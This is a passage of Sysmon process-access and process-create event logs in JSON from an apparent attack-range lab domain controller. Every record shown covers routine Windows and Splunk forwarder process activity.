ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.854","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-42B9-5F2D-0000-0010760E0D00}","TargetProcessId":"3168","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7605,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:40.135\r\nSourceProcessGUID: {90617006-42DF-5F2D-0000-0010FD180E00}\r\nSourceProcessId: 3168\r\nSourceThreadId: 3972\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:40.135","SourceProcessGUID":"{90617006-42DF-5F2D-0000-0010FD180E00}","SourceProcessId":"3168","SourceThreadId":"3972","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":7606,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:40.526\r\nProcessGuid: {90617006-42E0-5F2D-0000-0010581C0E00}\r\nProcessId: 3964\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Registry monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-regmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:02:40.526","ProcessGuid":"{90617006-42E0-5F2D-0000-0010581C0E00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","FileVersion":"8.0.2","Description":"Registry monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-regmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:02:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7607,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:40.525\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-42AA-5F2D-0000-0010997D0B00}\r\nTargetProcessId: 3964\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:40.525","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-42AA-5F2D-0000-0010997D0B00}","TargetProcessId":"3964","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7608,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:40.525\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AA-5F2D-0000-0010997D0B00}\r\nTargetProcessId: 3964\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:40.525","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AA-5F2D-0000-0010997D0B00}","TargetProcessId":"3964","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7609,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:40.525\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-42AA-5F2D-0000-0010997D0B00}\r\nTargetProcessId: 3964\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:40.525","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-42AA-5F2D-0000-0010997D0B00}","TargetProcessId":"3964","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7610,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:40.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:40.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7611,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:40.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:40.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7612,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:40.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:40.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7613,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:40.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 